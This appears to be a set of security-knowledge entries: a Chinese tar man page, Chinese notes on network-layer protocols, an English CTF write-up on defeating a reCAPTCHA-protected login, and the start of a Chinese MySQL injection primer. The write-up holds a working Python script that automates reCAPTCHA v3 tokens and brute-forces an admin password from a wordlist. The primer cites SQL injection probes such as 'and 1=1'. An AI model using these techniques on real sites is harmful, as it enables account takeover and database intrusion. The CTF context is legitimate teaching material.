.BR -v ", " --verbose
]
[
.BR -V ", " --label " 名称"
]
[
.BR --version
]
[
.BR --volno-file " 文件"
]
[
.BR -w ", " --interactive ", " --confirmation
]
[
.BR -W ", " --verify
]
[
.BR --wildcards
]
[
.BR --wildcards-match-slash
]
[
.BR -X ", " --exclude-from " 文件"
]
[
.BR -z ", " --gzip ", " --gunzip ", " --ungzip
]
[
.BR -Z ", " --compress ", " --uncompress
]
[
.BR -[0-7][lmh]
]
.SH 描述
这是\fBtar\fR的GNU版本的手册页。 \fBtar\fR是一个用于储存或提取\fItar文件\fR的程序。 \fItar文件\fR可放在磁盘中, 也可以存为普通文件。
\fBtar\fR\ 的第一个参数必须是操作参数A、c、d、r、t、u、x 中的一个, 参数后面可跟着任意可选选项。
\fBtar\fR的最后一个参数是你要处理的文件或目录的名字。 如果你指定了一个目录, 该目录的所有子目录都将被加入存档。
.SH 应用举例
.TP
.B tar -xvf foo.tar
提取 foo.tar 文件并显示提取过程
.TP
.B tar -xzf foo.tar.gz
提取用 gzip 压缩的文件 foo.tar.gz
.TP
.B tar -cjf foo.tar.bz2 bar/
用 bzip 为目录 bar 创建一个叫做 foo.tar.bz2存档
.TP
.B tar -xjf foo.tar.bz2 -C bar/
把用 bzip 压缩的文件 foo.tar.bz2 提取到 bar 目录
.TP
.B tar -xzf foo.tar.gz blah.txt
把文件 blah.txt 从 foo.tar.gz 中提取出来
.P
注意: 当压缩或提取的时候, 压缩类型选项常常是不必需的, 因为\fBtar\fR会根据文件的后缀自动选择压缩类型。
.SH "参数说明"
.TP
.B 下列参数中必须有至少一个被使用:
.TP
.BR -A ", " --catenate ", " --concatenate
将一存档与已有的存档合并
.TP
.BR -c ", " --create
创建一个新的存档
.TP
.BR -d ", " --diff ", " --compare
比较存档与相应的未存档文件的不同之处
.TP
.BR -r ", " --append
将文件附加到存档结尾
.TP
.BR -t ", " --list
列出存档中文件的目录
.TP
.BR -u ", " --update
仅将较新的文件附加到存档中
.TP
.BR -x ", " --extract ", " --get
从存档提取文件
.TP
.BR --delete
把指定文件从存档中删除(不要用于磁带!)
.SH "常用选项"
.TP
.BR -C ", " --directory " 目录"
提取存档到指定目录
.TP
.BR -f ", " --file " [主机名:]文件"
指定存档或设备中的文件 (默认是\ "-",\ 表示\ 标准输入/输出)
.TP
.BR -j ", " --bzip2
用 bzip2 处理存档;\ 用于\ .bz2\ 文件
.TP
.BR -J ", " --xz
用 xz 处理存档;\ 用于\ .xz\ 文件
.TP
.BR -p ", " --preserve-permissions
提取所有保护信息
.TP
.BR -v ", " --verbose
显示文件处理过程
.TP
.BR -z ", " --gzip ", " --ungzip
用 gzip 处理存档;\ 用于\ .gz\ 文件
.SH "所有选项"
.TP
.BR -a ", " --auto-compress
根据存档后缀来选择压缩程序
.TP
.BR --add-file " 文件"
添加指定文件到存档 (对以下标线开头的文件很有用)
.TP
.BR --anchored
patterns will match the start of file names
.TP
.BR --atime-preserve
不改变存档中文件的访问时间
.TP
.BR -b ", " --blocking-factor " N"
指定块大小为 Nx512 字节(默认N=20)
.TP
.BR -B ", " --read-full-blocks
读取时重组块\ (用于读取4.2BSD pipes)
.TP
.BR --backup "[=备份类型]"
备份文件而不是删除它们, 备份类型有simple、numbered等
.TP
.BR --block-compress
让磁带的输出结果成块输出
.TP
.BR -C ", " --directory " 目录"
提取文档到指定目录
.TP
.BR --checkpoint
读取存档时显示目录名
.TP
.BR --delay-directory-restore
延迟对已提取目录的修改时间和权限的设定, 直到提取结束
.TP
.BR --exclude " 文件或目录"
排除指定文件或目录
.TP
.BR --exclude-caches
排除带有\ 缓存目录\ 标记的目录
.TP
.BR --exclude-tag " 文件"
排除包含指定文件的目录
.TP
.BR -f ", " --file " [主机名:]文件"
指定存档或设备中的文件 (默认是\ "-",\ 表示\ 标准输入/输出)
.TP
.BR -F ", " --info-script " 文件, " --new-volume-script " 文件"
在每卷磁带的结尾运行脚本 (会应用\fI--multi-volume\fR选项)
.TP
.BR --force-local
存档文件是本地的,\ 即使它的名称中含有冒号
.TP
.BR --format " FORMAT"
选择创建存档的格式
.nf
\fIv7\fR - Unix V7
\fIoldgnu\fR - GNU tar <=1.12
\fIgnu\fR - GNU tar 1.13
\fIustar\fR - POSIX.1-1988
\fIposix\fR - POSIX.1-2001
.fi
.TP
.BR -g ", " --listed-incremental " 快照"
创建/列出/提取\ 新GNU格式的增量备份
.TP
.BR --group " 组"
将添加到存档的文件的组标识设置为指定组, 而不是源文件所在的组; 这个选项对提取无效
.TP
.BR -G ", " --incremental
创建/列出/提取\ 旧GNU格式的增量备份
.TP
.BR -h ", " --dereference
不存入符号链接;\ 存入链接指向的文件
.TP
.BR --help
显示像本手册这样的帮助信息, 但不像这么详细
.TP
.BR -i ", " --ignore-zeros
忽略存档中的 0 字节块 (那通常意味着文件结束)
.TP
.BR -I ", " --use-compress-program " 程序"
通过指定程序访问存档 (该程序通常是一个压缩程序; 它需能接受\ \fI-d\fR\ 参数)
.TP
.BR --ignore-case
排除文件时不区分大小写
.TP
.BR --ignore-command-error
忽略子程序的退出代码
.TP
.BR --ignore-failed-read
遇到不可读文件的非零状态不退出
.TP
.BR --index-file " 文件"
将处理过程信息输出到指定文件, 而不是输出到标准输出
.TP
.BR -j ", " --bzip2
用 bzip2 处理存档,\ 用于\ .bz2\ 文件
.TP
.BR -J ", " --xz
用 xz 处理存档,\ 用于\ .xz\ 文件
.TP
.BR -k ", " --keep-old-files
保留已存在的文件;\ 不用存档中的文件覆盖它们
.TP
.BR -K ", " --starting-file " FILE"
从存档中的指定文件处开始
.TP
.BR --keep-newer-files
不覆盖比存档新的文件
.TP
.BR -l ", " --check-links
如果文件系统中文件的硬链接数和存档中记录的不同, 则发出警告
.TP
.BR -L ", " --tape-length " N"
在写入了N*1024字节后, 更换磁带
.TP
.BR -m ", " --touch ", " --modification-time
不提取文件的修改时间
.TP
.BR -M ", " --multi-volume
创建/列出/提取 多卷存档
.TP
.BR --mode " 权限"
添加文件时应用指定的权限 (参看\ \fBchmod\fR(1))
.TP
.BR --mtime " 日期"
当创建存档时,\ 使用指定日期作为存档成员的修改日期, 而不是使用文件的实际修改时间
.TP
.BR -N ", " --after-date " 日期, " --newer " 日期"
只存储在指定日期后有修改或状态更新 (权限,\ ACLs,\ 扩展属性,\ ...)的文件
.TP
.BR --newer-mtime " 日期"
和\ \fI--newer\fR\ 类似, 但是只存储指定日期后有修改的文件
.TP
.BR --no-anchored
匹配任意‘/’后字符项\fI--exclude\fR一起使用
.TP
.BR --no-auto-compress
不根据存档后缀来决定使用哪个压缩程序
.TP
.BR --no-delay-directory-restore
在目录中的所有文件都被提取完成时, 就设定该目录的修改时间和权限; 这是默认设置
.TP
.BR --no-ignore-command-error
对以非零状态终止的子程序的显示警告
.TP
.BR --no-ignore-case
用\ \fI--exclude\fR\ 匹配时区分大小写
.TP
.BR --no-overwrite-dir
从存档中提取文件时,\ 保留已存在目录的元数据。
.TP
.BR --no-quote-chars " 字符串"
把指定字符串中的字符从\fI--quote-chars\fR选项指定的字符中去除
.TP
.BR --no-recursion
不递归进入子目录
.TP
.BR --no-same-permissions
提取时应用用户的umask, 而不是用已记录的权限
.TP
.BR --no-unquote
将所有输入文件或成员的名字作为普通文字, 不解释转义序列
.TP
.BR --no-wildcards
不对\fI--exclude\fR使用通配符
.TP
.BR --no-wildcards-match-slash
\fI--exclude\fR的通配符不匹配斜杠(/)
.TP
.BR --null
\fI--files-from\fR读取以空值终止的名字, 禁用\fI--directory\fR
.TP
.BR --numeric-owner
总是用数字作为 用户/组 的名字
.TP
.BR -o ", " --old-archive ", " --portability
相当于\fI--format=v7\fR; 当创建存档时\fI-o\fR选项表示这个行为 (已弃用的行为)
.TP
.BR -o ", " --no-same-owner
提取时不恢复所有权; 当提取时\fI-o\fR选项表示这个行为
.TP
.BR -O ", " --to-stdout
将文件提取到标准输出
.TP
.BR --occurrence " 次数"
只处理指定次数每个已被命名的文件的在操作中的出现; 用于\fI--delete\fR, \fI--diff\fR, \fI--extract\fR, 或 \fI--list\fR
.TP
.BR --one-file-system
创建存档时停留在本地文件系统
.TP
.BR --overwrite
提取时覆盖已存在的文件和目录中的元数据
.TP
.BR --overwrite-dir
提取时覆盖目录中的元数据
.TP
.BR --owner " 用户"
将文件所有者设为指定用户, 而不是原文件的所有者; 这个选项对提取无效
.TP
.BR -p ", " --preserve-permissions ", " --same-permissions
提取所有保护信息
.TP
.BR -P ", " --absolute-names
将文件名开头的“/”符号看作文件名的一部分
.TP
.BR --pax-option " 关键字列表"
修改\fBtar\fR处理扩展头关键字的方式, 只用于POSIX.1-2001存档
.TP
.BR --posix
相当于\fI--format=posix\fR
.TP
.BR --preserve
相当于\fI--preserve-permissions\fR加上\fI--same-order\fR
.TP
.BR --quote-chars " 字符串"
总是标出指定字符串中包含的的字符, 即使已选择的标识风格不标识它们
.TP
.BR --quote-style " 风格"
设定显示成员和文件名称的标识风格
.TP
.BR -R ", " --record-number
显示存档中每条信息的记录数字
.TP
.BR --record-size " 字节数"
访问存档时每条记录使用指定的字节数
.TP
.BR --recursion
递归进入目录
.TP
.BR --recursive-unlink
提取目录之前先把存在的相同名称的目录删除
.TP
.BR --remove-files
把文件加入到存档后删除这些文件
.TP
.BR --restrict
禁用一些有潜在害处的选项; 目前这会禁用多卷菜单中对shell的调用
.TP
.BR --rmt-command " 命令"
用指定的命令代替默认的/usr/sbin/rmt
.TP
.BR --rsh-command " 命令"
用指定的远程命令代替\fBrsh\fR(1)
.TP
.BR -s ", " --same-order ", " --preserve-order
名称列表会被排序以匹配存档
.TP
.BR -S ", " --sparse
高效地处理稀疏文件
.TP
.BR --same-owner
以相同的所有权创建提取出的文件
.TP
.BR --show-defaults
显示\fBtar\fR使用的默认选项
.TP
.BR --show-omitted-dirs
显示提取时\fBtar\fR跳过的目录
.TP
.BR --show-transformed-names ", " --show-stored-names
应用了任何\fBsed\fR转换之后, 显示文件或成员名字
.TP
.BR --strip-components " 目录层数"
在提取前, 把文件从前往后指定层数的目录都从提取路径中去掉, 如果文件包含在指定层数中, 则不被提取
.TP
.BR --suffix " 后缀"
备份文件时, 使用指定的后缀, 而不是使用默认后缀‘~’
.TP
.BR -T ", " --files-from " 文件"
从指定文件中获得要提取或创建的存档的名字
.TP
.BR --test-label
读取卷标; 如果一个词被指定了, 则测试它是否匹配这个卷标
.TP
.BR --to-command " 命令"
提取期间, 将提取的文件导入到指定命令的标准输入
.TP
.BR --totals
显示用--create参数写入的总字节数
.TP
.BR --transform " sed表达式"
用\fBsed\fR的转换表达式转换文件或成员的名字
.TP
.BR -U ", " --unlink-first
提取文件之前,删除已存在的与之同名的文件
.TP
.BR --unquote
不标识输入文件或成员的名字; 这是默认选项
.TP
.BR --utc
以UTC时间显示文件的修改日期
.TP
.BR -v ", " --verbose
列出文件的处理情况
.TP
.BR -V ", " --label " 名称"
用指定卷名创建存档
.TP
.BR --version
显示\fBtar\fR程序的版本信息
.TP
.BR --volno-file " 文件"
保持追踪指定文件中多卷存档的卷编号; 和\fI--multi-volume\fR一起使用
.TP
.BR -w ", " --interactive ", " --confirmation
每一个动作都要求确认
.TP
.BR -W ", " --verify
写完存档后对其进行校验
.TP
.BR --wildcards
对\fI--exclude\fR用通配符
.TP
.BR --wildcards-match-slash
\fI--exclude\fR的通配符匹配斜杠(/)
.TP
.BR -X ", " --exclude-from " 文件"
排除列在指定文件中的文件
.TP
.BR -z ", " --gzip ", " --gunzip ", " --ungzip
用gzip对存档进行操作
.TP
.BR -Z ", " --compress ", " --uncompress
用compress对存档进行操作
.TP
.BR -[0-7][lmh]
指定驱动器[0-7]和压缩密度[低中高]
.SH BUGS
GNU世界的人, 通常不喜欢man手册, 而是写文档代替之。
\fBtar\fR的维护者也是如此。 所以,\ 这个man手册页可能会不完全, 或者不够新, 它被包含在Gentoo的portage树中, 因为man是一个非常好的工具:)。 这个man手册页最初取自Debian\ Linux, 从那时起已在这里被很好地更新。
.SH "报告 BUGS"
请通过 http://bugs.gentoo.org/ 报告Bug。
翻译问题请联系译者或到 https://github.com/lidaobing/manpages-zh/ 提交问题
.SH "作者"
.nf
Debian Linux http://www.debian.org/
Mike Frysinger <vapier@gentoo.org>
.SH "译者"
.nf
CMPP 中文手册页计划 http://cmpp.linuxforum.net (2001/08/08)
Saigut <gosaigut@gmail.com> (2013/11/09)
.SH "中文版最新更新"
.B 2014/10/04
.fi
|
sec-knowleage
|
# 计算机网络 - 网络层
<!-- GFM-TOC -->
* [计算机网络 - 网络层](#计算机网络---网络层)
* [概述](#概述)
* [IP 数据报格式](#ip-数据报格式)
* [IP 地址编址方式](#ip-地址编址方式)
* [1. 分类](#1-分类)
* [2. 子网划分](#2-子网划分)
* [3. 无分类](#3-无分类)
* [地址解析协议 ARP](#地址解析协议-arp)
* [网际控制报文协议 ICMP](#网际控制报文协议-icmp)
* [1. Ping](#1-ping)
* [2. Traceroute](#2-traceroute)
* [虚拟专用网 VPN](#虚拟专用网-vpn)
* [网络地址转换 NAT](#网络地址转换-nat)
* [路由器的结构](#路由器的结构)
* [路由器分组转发流程](#路由器分组转发流程)
* [路由选择协议](#路由选择协议)
* [1. 内部网关协议 RIP](#1-内部网关协议-rip)
* [2. 内部网关协议 OSPF](#2-内部网关协议-ospf)
* [3. 外部网关协议 BGP](#3-外部网关协议-bgp)
<!-- GFM-TOC -->
## 概述
因为网络层是整个互联网的核心,因此应当让网络层尽可能简单。网络层向上只提供简单灵活的、无连接的、尽最大努力交互的数据报服务。
使用 IP 协议,可以把异构的物理网络连接起来,使得在网络层看起来好像是一个统一的网络。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/8d779ab7-ffcc-47c6-90ec-ede8260b2368.png" width="800"/> </div><br>
与 IP 协议配套使用的还有三个协议:
- 地址解析协议 ARP(Address Resolution Protocol)
- 网际控制报文协议 ICMP(Internet Control Message Protocol)
- 网际组管理协议 IGMP(Internet Group Management Protocol)
## IP 数据报格式
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/85c05fb1-5546-4c50-9221-21f231cdc8c5.jpg" width="700"/> </div><br>
- **版本** : 有 4(IPv4)和 6(IPv6)两个值;
- **首部长度** : 占 4 位,因此最大值为 15。值为 1 表示的是 1 个 32 位字的长度,也就是 4 字节。因为固定部分长度为 20 字节,因此该值最小为 5。如果可选字段的长度不是 4 字节的整数倍,就用尾部的填充部分来填充。
- **区分服务** : 用来获得更好的服务,一般情况下不使用。
- **总长度** : 包括首部长度和数据部分长度。
- **生存时间** :TTL,它的存在是为了防止无法交付的数据报在互联网中不断兜圈子。以路由器跳数为单位,当 TTL 为 0 时就丢弃数据报。
- **协议** :指出携带的数据应该上交给哪个协议进行处理,例如 ICMP、TCP、UDP 等。
- **首部检验和** :因为数据报每经过一个路由器,都要重新计算检验和,因此检验和不包含数据部分可以减少计算的工作量。
- **标识** : 在数据报长度过长从而发生分片的情况下,相同数据报的不同分片具有相同的标识符。
- **片偏移** : 和标识符一起,用于发生分片的情况。片偏移的单位为 8 字节。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/23ba890e-e11c-45e2-a20c-64d217f83430.png" width="700"/> </div><br>
## IP 地址编址方式
IP 地址的编址方式经历了三个历史阶段:
- 分类
- 子网划分
- 无分类
### 1. 分类
由两部分组成,网络号和主机号,其中不同分类具有不同的网络号长度,并且是固定的。
IP 地址 ::= {\< 网络号 \>, \< 主机号 \>}
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/cbf50eb8-22b4-4528-a2e7-d187143d57f7.png" width="500"/> </div><br>
### 2. 子网划分
通过在主机号字段中拿一部分作为子网号,把两级 IP 地址划分为三级 IP 地址。
IP 地址 ::= {\< 网络号 \>, \< 子网号 \>, \< 主机号 \>}
要使用子网,必须配置子网掩码。一个 B 类地址的默认子网掩码为 255.255.0.0,如果 B 类地址的子网占两个比特,那么子网掩码为 11111111 11111111 11000000 00000000,也就是 255.255.192.0。
注意,外部网络看不到子网的存在。
### 3. 无分类
无分类编址 CIDR 消除了传统 A 类、B 类和 C 类地址以及划分子网的概念,使用网络前缀和主机号来对 IP 地址进行编码,网络前缀的长度可以根据需要变化。
IP 地址 ::= {\< 网络前缀号 \>, \< 主机号 \>}
CIDR 的记法上采用在 IP 地址后面加上网络前缀长度的方法,例如 128.14.35.7/20 表示前 20 位为网络前缀。
CIDR 的地址掩码可以继续称为子网掩码,子网掩码首 1 长度为网络前缀的长度。
一个 CIDR 地址块中有很多地址,一个 CIDR 表示的网络就可以表示原来的很多个网络,并且在路由表中只需要一个路由就可以代替原来的多个路由,减少了路由表项的数量。把这种通过使用网络前缀来减少路由表项的方式称为路由聚合,也称为 **构成超网** 。
在路由表中的项目由“网络前缀”和“下一跳地址”组成,在查找时可能会得到不止一个匹配结果,应当采用最长前缀匹配来确定应该匹配哪一个。
## 地址解析协议 ARP
网络层实现主机之间的通信,而链路层实现具体每段链路之间的通信。因此在通信过程中,IP 数据报的源地址和目的地址始终不变,而 MAC 地址随着链路的改变而改变。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/66192382-558b-4b05-a35d-ac4a2b1a9811.jpg" width="700"/> </div><br>
ARP 实现由 IP 地址得到 MAC 地址。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/b9d79a5a-e7af-499b-b989-f10483e71b8b.jpg" width="500"/> </div><br>
每个主机都有一个 ARP 高速缓存,里面有本局域网上的各主机和路由器的 IP 地址到 MAC 地址的映射表。
如果主机 A 知道主机 B 的 IP 地址,但是 ARP 高速缓存中没有该 IP 地址到 MAC 地址的映射,此时主机 A 通过广播的方式发送 ARP 请求分组,主机 B 收到该请求后会发送 ARP 响应分组给主机 A 告知其 MAC 地址,随后主机 A 向其高速缓存中写入主机 B 的 IP 地址到 MAC 地址的映射。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/8006a450-6c2f-498c-a928-c927f758b1d0.png" width="700"/> </div><br>
## 网际控制报文协议 ICMP
ICMP 是为了更有效地转发 IP 数据报和提高交付成功的机会。它封装在 IP 数据报中,但是不属于高层协议。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/e3124763-f75e-46c3-ba82-341e6c98d862.jpg" width="500"/> </div><br>
ICMP 报文分为差错报告报文和询问报文。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/aa29cc88-7256-4399-8c7f-3cf4a6489559.png" width="600"/> </div><br>
### 1. Ping
Ping 是 ICMP 的一个重要应用,主要用来测试两台主机之间的连通性。
Ping 的原理是通过向目的主机发送 ICMP Echo 请求报文,目的主机收到之后会发送 Echo 回答报文。Ping 会根据时间和成功响应的次数估算出数据包往返时间以及丢包率。
### 2. Traceroute
Traceroute 是 ICMP 的另一个应用,用来跟踪一个分组从源点到终点的路径。
Traceroute 发送的 IP 数据报封装的是无法交付的 UDP 用户数据报,并由目的主机发送终点不可达差错报告报文。
- 源主机向目的主机发送一连串的 IP 数据报。第一个数据报 P1 的生存时间 TTL 设置为 1,当 P1 到达路径上的第一个路由器 R1 时,R1 收下它并把 TTL 减 1,此时 TTL 等于 0,R1 就把 P1 丢弃,并向源主机发送一个 ICMP 时间超过差错报告报文;
- 源主机接着发送第二个数据报 P2,并把 TTL 设置为 2。P2 先到达 R1,R1 收下后把 TTL 减 1 再转发给 R2,R2 收下后也把 TTL 减 1,由于此时 TTL 等于 0,R2 就丢弃 P2,并向源主机发送一个 ICMP 时间超过差错报文。
- 不断执行这样的步骤,直到最后一个数据报刚刚到达目的主机,主机不转发数据报,也不把 TTL 值减 1。但是因为数据报封装的是无法交付的 UDP,因此目的主机要向源主机发送 ICMP 终点不可达差错报告报文。
- 之后源主机知道了到达目的主机所经过的路由器 IP 地址以及到达每个路由器的往返时间。
## 虚拟专用网 VPN
由于 IP 地址的紧缺,一个机构能申请到的 IP 地址数往往远小于本机构所拥有的主机数。并且一个机构并不需要把所有的主机接入到外部的互联网中,机构内的计算机可以使用仅在本机构有效的 IP 地址(专用地址)。
有三个专用地址块:
- 10.0.0.0 \~ 10.255.255.255
- 172.16.0.0 \~ 172.31.255.255
- 192.168.0.0 \~ 192.168.255.255
VPN 使用公用的互联网作为本机构各专用网之间的通信载体。专用指机构内的主机只与本机构内的其它主机通信;虚拟指好像是,而实际上并不是,它有经过公用的互联网。
下图中,场所 A 和 B 的通信经过互联网,如果场所 A 的主机 X 要和另一个场所 B 的主机 Y 通信,IP 数据报的源地址是 10.1.0.1,目的地址是 10.2.0.3。数据报先发送到与互联网相连的路由器 R1,R1 对内部数据进行加密,然后重新加上数据报的首部,源地址是路由器 R1 的全球地址 125.1.2.3,目的地址是路由器 R2 的全球地址 194.4.5.6。路由器 R2 收到数据报后将数据部分进行解密,恢复原来的数据报,此时目的地址为 10.2.0.3,就交付给 Y。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/1556770b-8c01-4681-af10-46f1df69202c.jpg" width="800"/> </div><br>
## 网络地址转换 NAT
专用网内部的主机使用本地 IP 地址又想和互联网上的主机通信时,可以使用 NAT 来将本地 IP 转换为全球 IP。
在以前,NAT 将本地 IP 和全球 IP 一一对应,这种方式下拥有 n 个全球 IP 地址的专用网内最多只可以同时有 n 台主机接入互联网。为了更有效地利用全球 IP 地址,现在常用的 NAT 转换表把传输层的端口号也用上了,使得多个专用网内部的主机共用一个全球 IP 地址。使用端口号的 NAT 也叫做网络地址与端口转换 NAPT。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/2719067e-b299-4639-9065-bed6729dbf0b.png" width=""/> </div><br>
## 路由器的结构
路由器从功能上可以划分为:路由选择和分组转发。
分组转发结构由三个部分组成:交换结构、一组输入端口和一组输出端口。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/c3369072-c740-43b0-b276-202bd1d3960d.jpg" width="600"/> </div><br>
## 路由器分组转发流程
- 从数据报的首部提取目的主机的 IP 地址 D,得到目的网络地址 N。
- 若 N 就是与此路由器直接相连的某个网络地址,则进行直接交付;
- 若路由表中有目的地址为 D 的特定主机路由,则把数据报传送给表中所指明的下一跳路由器;
- 若路由表中有到达网络 N 的路由,则把数据报传送给路由表中所指明的下一跳路由器;
- 若路由表中有一个默认路由,则把数据报传送给路由表中所指明的默认路由器;
- 报告转发分组出错。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/1ab49e39-012b-4383-8284-26570987e3c4.jpg" width="800"/> </div><br>
## 路由选择协议
路由选择协议都是自适应的,能随着网络通信量和拓扑结构的变化而自适应地进行调整。
互联网可以划分为许多较小的自治系统 AS,一个 AS 可以使用一种和别的 AS 不同的路由选择协议。
可以把路由选择协议划分为两大类:
- 自治系统内部的路由选择:RIP 和 OSPF
- 自治系统间的路由选择:BGP
### 1. 内部网关协议 RIP
RIP 是一种基于距离向量的路由选择协议。距离是指跳数,直接相连的路由器跳数为 1。跳数最多为 15,超过 15 表示不可达。
RIP 按固定的时间间隔仅和相邻路由器交换自己的路由表,经过若干次交换之后,所有路由器最终会知道到达本自治系统中任何一个网络的最短距离和下一跳路由器地址。
距离向量算法:
- 对地址为 X 的相邻路由器发来的 RIP 报文,先修改报文中的所有项目,把下一跳字段中的地址改为 X,并把所有的距离字段加 1;
- 对修改后的 RIP 报文中的每一个项目,进行以下步骤:
- 若原来的路由表中没有目的网络 N,则把该项目添加到路由表中;
- 否则:若下一跳路由器地址是 X,则把收到的项目替换原来路由表中的项目;否则:若收到的项目中的距离 d 小于路由表中的距离,则进行更新(例如原始路由表项为 Net2, 5, P,新表项为 Net2, 4, X,则更新);否则什么也不做。
- 若 3 分钟还没有收到相邻路由器的更新路由表,则把该相邻路由器标为不可达,即把距离置为 16。
RIP 协议实现简单,开销小。但是 RIP 能使用的最大距离为 15,限制了网络的规模。并且当网络出现故障时,要经过比较长的时间才能将此消息传送到所有路由器。
### 2. 内部网关协议 OSPF
开放最短路径优先 OSPF,是为了克服 RIP 的缺点而开发出来的。
开放表示 OSPF 不受某一家厂商控制,而是公开发表的;最短路径优先表示使用了 Dijkstra 提出的最短路径算法 SPF。
OSPF 具有以下特点:
- 向本自治系统中的所有路由器发送信息,这种方法是洪泛法。
- 发送的信息就是与相邻路由器的链路状态,链路状态包括与哪些路由器相连以及链路的度量,度量用费用、距离、时延、带宽等来表示。
- 只有当链路状态发生变化时,路由器才会发送信息。
所有路由器都具有全网的拓扑结构图,并且是一致的。相比于 RIP,OSPF 的更新过程收敛的很快。
### 3. 外部网关协议 BGP
BGP(Border Gateway Protocol,边界网关协议)
AS 之间的路由选择很困难,主要是由于:
- 互联网规模很大;
- 各个 AS 内部使用不同的路由选择协议,无法准确定义路径的度量;
- AS 之间的路由选择必须考虑有关的策略,比如有些 AS 不愿意让其它 AS 经过。
BGP 只能寻找一条比较好的路由,而不是最佳路由。
每个 AS 都必须配置 BGP 发言人,通过在两个相邻 BGP 发言人之间建立 TCP 连接来交换路由信息。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/9cd0ae20-4fb5-4017-a000-f7d3a0eb3529.png" width="600"/> </div><br>
|
sec-knowleage
|
# Break the ReCaptcha
* Category: Web Application
* 500 Points
* Solved by the JCTF Team
## Description
> Dear Pentester!
>
> I'm writing to you because don't know what to do!
> I've implemented a ReCaptcha mechanism on my website and attackers are always taking over my account!
> I'll give you a file that contains all of my possible passwords and you will be able to reproduce the vulnerability?
>
> http://recaptcha.challenges.bsidestlv.com/
>
> username: admin
A file with a list of passwords was attached.
## Solution
We enter the site and see the following simple login API:

Behind the scenes is a real life Google ReCaptcha.
The relevant source code is:
```html
<script src="https://www.google.com/recaptcha/api.js?render=6Lfpb6QUAAAAAIitLDqVlxHB-EceE-d1ujb_6tVt"></script>
<script>
// when form is submit
$( document ).ready(function() {
$('form').submit(function () {
// we stoped it
event.preventDefault();
// needs for recaptacha ready
grecaptcha.ready(function () {
// do request for recaptcha token
// response is promise with passed token
grecaptcha.execute('6Lfpb6QUAAAAAIitLDqVlxHB-EceE-d1ujb_6tVt', {action: 'create_comment'}).then(function (token) {
$.post("/verify", {username: $('#username').val(), password: $('#password').val(), token: token}, function (result) {
$("#result").html(result);
});
});
});
});
});
</script>
</head>
<body>
<div class="wrapper fadeInDown">
<div id="formContent">
<!-- Login Form -->
<form>
<input type="text" id="username" class="fadeIn second" name="username" placeholder="Username">
<input type="password" id="password" class="fadeIn third" name="password" placeholder="Password">
<input type="submit" class="fadeIn fourth" value="Log In">
</form>
<div id="result"></div>
</div>
</div>
```
We can use the browser developer tools in order to inspect what's happening under the hood:

We have an initial call to `anchor`, then for each attempt at entering a password, a call to `reload` and `verify`.
Diving into the requests and responses, we can see that a token received from `anchor` is being passed again during `reload`, and some data from `reload` gets sent in `verify` (which belongs to the actual website and isn't part of the ReCaptcha service).
We can mimic the same behavior with the following script:
```python
import requests
import json
import re
recaptcha_regex = re.compile(r'<input type="hidden" id="recaptcha-token" value="([^"]+)">')
def try_password(password):
s = requests.session()
r = s.get("https://www.google.com/recaptcha/api2/anchor?ar=1&k=6Lfpb6QUAAAAAIitLDqVlxHB-EceE-d1ujb_6tVt&co=aHR0cDovL3JlY2FwdGNoYS5jaGFsbGVuZ2VzLmJzaWRlc3Rsdi5jb206ODA.&hl=en&v=v1561357937155&size=invisible")
match = recaptcha_regex.search(r.text)
if match is None:
return None
recaptcha_token = match.group(1)
data = { "reason": "q", "c": recaptcha_token }
r = s.post("https://www.google.com/recaptcha/api2/reload?k=6Lfpb6QUAAAAAIitLDqVlxHB-EceE-d1ujb_6tVt", data = data)
text = r.text
#https://stackoverflow.com/questions/35348234/recaptcha-gets-invalid-json-from-call-to-https-www-google-com-recaptcha-api2-u/36862268#36862268
prefix = ")]}'"
if text.startswith(prefix):
text = text[len(prefix):]
json_obj = json.loads(text)
r = s.post("http://recaptcha.challenges.bsidestlv.com/verify", data = {"username": "admin", "password": password, "token": json_obj[1]})
return r.text
with open("passwords.txt") as f:
for line in f:
password = line.rstrip()
res = try_password(password)
if res != "Username/Password invalid!":
print (password)
print (res)
break
```
After some time, the following result is returned:
```console
root@kali:/media/sf_CTFs/bsidestlv/Break_the_ReCaptcha# python3 solve.py
brandon
BSidesTLV{D0ntF0rgetT0Ch3ckTh3Sc0r3!}
```
ReCaptcha is a real-life service, so what's the vulnerability that allowed this?
Based on the flag value, we assume it's related to the "BOT Score":
> reCAPTCHA v3 returns a score (1.0 is very likely a good interaction, 0.0 is very likely a bot). Based on the score, you can take variable action in the context of your site. Every site is different [...] As reCAPTCHA v3 doesn't ever interrupt the user flow, you can first run reCAPTCHA without taking action and then decide on thresholds by looking at your traffic in the admin console. By default, you can use a threshold of 0.5.
>
> (Source: [Official Documentation](https://developers.google.com/recaptcha/docs/v3))
The score threshold must have been set to ~0 in order to allow us to automate this process.
|
sec-knowleage
|
# 0x00 简介
在MySQL里面注入和搭建环境来其实差不多,推荐使用sqli-labs来练练手,网上一堆的方法也是我们从学以来用到的
加引号 报错 `and 1=1` `and 1=2` 然后SQLmap 一丢有waf就凉凉,可能and的时候就凉了,所以手工是也算个必修课吧。
直接用 `and 1=1` 一类的多属于 数字型注入 `select * from admin where id = $id;` 被包裹起来的就不行的,所以
一般要看报错的语句,当然也不是加个引号没报错就没了,具体分很多情况的。(废话多了点顺便讲清楚吧)
# 0x01 第一个注入
